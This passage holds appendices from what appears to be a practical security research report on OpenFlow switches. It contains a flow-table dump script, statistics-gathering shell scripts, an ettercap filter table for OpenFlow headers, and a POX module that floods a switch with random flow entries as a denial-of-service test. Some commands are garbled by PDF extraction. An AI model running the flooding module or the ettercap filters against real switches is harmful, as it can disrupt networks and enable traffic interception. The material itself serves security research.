#!/usr/bin/perl use warnings; use strict; use Net::Telnet (); use Switch; # ---[ Sub routines ]--- sub telnet { my $host = shift; my $cmd = shift; my $t = new Net::Telnet (); $t->open($host); my @lines = $t->cmd("$cmd"); @lines = @lines[ 7 .. ( $#lines - 1) ]; return @lines; } sub direct { my $host = shift; my $port = shift; my @lines = (); open(DPCTL, "./dpctl dump-flows tcp:$host:$port |") or die $!; while(<DPCTL>) { push(@lines, $_); } close(DPCTL); return @lines; } # ---[ Main program ]--- my $host = "192.168.100.4"; my $port = "6634"; my $cmd = "/usr/bin/dpctl dump-flows tcp:0.0.0.0:$port"; my $num_args = $#ARGV + 1; if ($num_args != 1) { print "Usage: watch_flowtable_remote.pl [telnet | direct] \n\n"; exit; } my $mode = $ARGV[0]; # Printing headers: printf("%-15s %-15s %3s %3s %4s [%4s] %10s (%s)\n", "Source:", "Destination:", "Idle Timeout:", "Hard Timeout:", "Duration:", "Type:", "Action:", "Connection:"); my @lines = (); if ( $mode eq "direct" ) { @lines = &direct($host, $port) } if ( $mode eq "telnet" ) { @lines = &telnet($host, $cmd) } foreach (@lines) { next if m/^stats|^\s*$/; $_ =~ s/^\s+//; chomp; my (@split) = split(',', $_);

24

my ( $cookie ) = ( $split[0] =~ m/cookie=(.*)$/ ); my ( $duration_sec ) = ( $split[1] =~ m/duration_sec=(.*)$/ ); my ( $duration_nsec ) = ( $split[2] =~ m/duration_nsec=(.*)$/ ); my ( $table_id ) = ( $split[3] =~ m/table_id=(.*)$/ ); my ( $priority ) = ( $split[4] =~ m/priority=(.*)$/ ); my ( $n_packets ) = ( $split[5] =~ m/n_packets=(.*)$/ ); my ( $n_bytes ) = ( $split[6] =~ m/n_bytes=(.*)$/ ); my ( $idle_timeout ) = ( $split[7] =~ m/idle_timeout=(.*)$/ ); my ( $hard_timeout ) = ( $split[8] =~ m/hard_timeout=(.*)$/ ); my ( $type ) = ( $split[9] ); my ( $in_port ) = ( $split[10] =~ m/in_port=(.*)$/ ); my $actions = ""; my $dl_dst = ""; my $dl_src = ""; my $dl_vlan = ""; my $dl_vlan_pcp = ""; my $icmp_code = ""; my $extras = ""; my $icmp_type = ""; my $nw_dst = ""; my $nw_proto = ""; my $nw_src = ""; my $nw_tos = ""; my $tp_dst = ""; my $tp_src = ""; my @rest = @split[ 10 .. $#split ]; foreach (@rest) { switch ($_) { case /action/ { ($actions) = ($_ =~ m/actions=(.*)$/) } case /dl_dst/ { ($dl_dst) = ($_ =~ m/dl_dst=(.*)$/) } case /dl_src/ { ($dl_src) = ($_ =~ m/dl_src=(.*)$/) } case /dl_vlan_pcp/ { ($dl_vlan_pcp) = ($_ =~ m/dl_vlan_pcp=(.*)$/) } case /dl_vlan/ { ($dl_vlan) = ($_ =~ m/dl_vlan=(.*)$/) } case /icmp_code/ { ($icmp_code) = ($_ =~ m/icmp_code=(.*)$/) } case /icmp_type/ { ($icmp_type) = ($_ =~ m/icmp_type=(.*)$/) } case /nw_dst/ { ($nw_dst) = ($_ =~ m/nw_dst=(.*)$/) } case /nw_proto/ { ($nw_proto) = ($_ =~ m/nw_proto=(.*)$/) } case /nw_src/ { ($nw_src) = ($_ =~ m/nw_src=(.*)$/) } case /nw_tos/ { ($nw_tos) = ($_ =~ m/nw_tos=(.*)$/) } case /tp_dst/ { ($tp_dst) = ($_ =~ m/tp_dst=(.*)$/) } case /tp_src/ { ($tp_src) = ($_ =~ m/tp_src=(.*)$/) } } } $nw_dst .= ":"; switch ($icmp_type) { case "0" { $extras .= "'icmp-echo-request' " } case "8" { $extras .= "'icmp-echo-reply' " } } switch ($nw_proto) { case "1" { $extras .= "'arp-request' " } case "2" { $extras .= "'arp-reply' " } } if ( ($tp_src ne "") and ($tp_src ne "0") ) { $extras .= "'tcp:$tp_src -> tcp:$tp_dst' "; } $duration_nsec =~ s/s//; printf("%-15s -> %-15s %3s %3s %4s [%4s] %10s (%s)\n", $nw_src, $nw_dst, $idle_timeout, $hard_timeout, $duration_nsec, $type, $actions, $extras); }

Appendix 4: Pox module (fi l l - f lowtable.py)

#!/usr/bin/python # POX module that attemps filling the flowtable of the OpenFlow Switch from pox.core import core import pox.openflow.libopenflow_01 as of from pox.lib.util import dpidToStr from pox.lib.addresses import IPAddr, EthAddr from random import randint import sys

25

import time time_start = 0 n_flows = 0 dead = 0 def gen_ip(): return ".".join([str(randint(0,255)),str(randint(0,255)),str(randint(0,255)),str(randint(0,255))]) def gen_mac(): mac = [ randint(0x00, 0xff), randint(0x00, 0xff), randint(0x00, 0xff), randint(0x00, 0xff), randint(0x00, 0xff), randint(0x00, 0xff) ] return ':'.join(map(lambda x: "%02x" % x, mac)) def gen_switch_port(port = None): newport = randint(1,3) if port != None and newport == port: newport = ((newport + 1) % 3) + 1 return newport def _handle_ConnectionUp (event): print "Switch " + dpidToStr(event.dpid) + " has come up." print "\nNow let's do some bad stuff!\n" global time_start time_start = time.time() global dead global n_flows while dead == 0: src_ip = gen_ip() dst_ip = gen_ip() src_mac = gen_mac() dst_mac = gen_mac() src_switch_port = gen_switch_port() dst_switch_port = gen_switch_port(src_switch_port) msg = of.ofp_flow_mod() msg.match.nw_src = IPAddr(src_ip) msg.match.nw_dst = IPAddr(dst_ip) msg.match.dl_src = EthAddr(src_mac) msg.match.dl_dst = EthAddr(dst_mac) msg.match.in_port = src_switch_port msg.actions.append(of.ofp_action_output(port = dst_switch_port)) msg.match.dl_type = 0x800 msg.match.dl_vlan = 1 msg.match.dl_vlan_pcp = 0 msg.match.nw_tos = 0x10 msg.match.nw_proto = 6 msg.match.tp_src = 80 msg.match.tp_dst = 80 event.connection.send(msg) n_flows += 1 print str(n_flows) + " - src_ip: " + src_ip + " dst_ip: " + dst_ip + " src_mac: " + src_mac + " dst_mac: " + dst_mac + " src_switch_port: " + str(src_switch_port) + " dst_switch_port: " + str(dst_switch_port)

26

print "Connection down from " + dpidToStr(event.dpid) print str(n_flows) + " flows added in " + str(time.time() - time_start) + " seconds" def _handle_ConnectionDown (event): global dead dead = 1 def launch (): core.openflow.addListenerByName("ConnectionUp", _handle_ConnectionUp) core.openflow.addListenerByName("ConnectionDown", _handle_ConnectionDown)

Appendix 5: Get Statistics script for OpenvSwitch

(get_stats.sh)

#!/bin/bash start=`date +%s` while true; do i=èxpr $i + 1` #cpu=`top -bn1 | grep "Cpu(s)" | sed "s/.*, *$[0-9.]*$%* id.*/\1/" | awk '{print 100 - $1"%"}'` #cpu=`mpstat | grep -A 5 "%idle" | tail -n 1 | awk -F " " '{print 100 - $ 12}'a` cpu=`top -b -n 3 -d 0.1 | grep %Cpu | awk '{ print $4 }' | sort -nr | head -1` mem=`top -b -n 1 | head -4 | tail -1 | awk '{ print $7 }'` flows=òvs-ofctl dump-flows br0 | wc -l` secs=`date +%s` secs=ècho "$secs - $start" | bc` echo "CPU utilization: $cpu Free Memory: $mem KB Num of flows: $flows time: $secs" sleep 1 done

Appendix 6: Get Statistics script for

OpenWRT(ovs_get_stats.sh)

#!/bin/bash i=0 while true; do if [ $i -ge "5" ]; then #clear; i=0 fi i=èxpr $i + 1` #cpu=`top -bn1 | grep "Cpu(s)" | sed "s/.*, *$[0-9.]*$%* id.*/\1/" | a wk '{print 100 - $1"%"}'` cpu=`mpstat | grep -A 5 "%idle" | tail -n 1 | awk -F " " '{print 100 - $ 12}'a` mem=`top -b -n 1 | head -4 | tail -1 | awk '{ print $7 }'` flows=òvs-ofctl dump-flows br0 | wc -l` echo "CPU utilization: $cpu Free Memory: $mem KB Num of flows: $flows " sleep 1

27

done

Appendix 7: etterf i lter extension for openflow support

(etterf i lter.tbl)

#################################### # Extra things for Openflow # #################################### # # Openflow Header [ofp][5] version:1 = 0 type:1 = 1 length:2 = 2 transid:4 = 4 # # #Openflow Flowmod Header [ofpfm][5] version:1 = 0 type:1 = 1 length:2 = 2 transid:4 = 4 matchwildcard:4 = 8 matchinport:2 = 12 matchdlsrc:6 = 14 matchdldst:6 = 20 matchdlvlan:2 = 26 matchvlanpcp:1 = 28 matchpad:1 = 29 matchethertype:2 = 30 matchnwtos:1 = 32 matchnwproto:1 = 33 matchpad2:2 = 34 matchnwsrc:4 = 36 matchnwdst:4 = 40 matchtpsrc:2 = 44 matchtpdst:2 = 46 cookie:8 = 48 command:2 = 56 idletime:2 = 58 maxtime:2 = 60 priority:2 = 62 buffid:4 = 64 outport:2 = 68 flags:2 = 70 actiontype:2 = 72 actionlen:2 = 74 actionpad:6 = 76 #Extra optional actions: # pactionoutport:2 = 78 # pactionmaxbytes:2 = 80 # actiontype:2 = 82 # actionlen:2 = 84 # aoutport:2 = 86 # maxbytes:2 = 88 # nactiontype:2 = 90 # nactionlen:2 = 92 # noutport:2 = 94

SSN PRACTICAL SECURITY - OS3 · PDF fileWe focus in our experiments on practical security...

Documents

Transcript of SSN PRACTICAL SECURITY - OS3 · PDF fileWe focus in our experiments on practical security...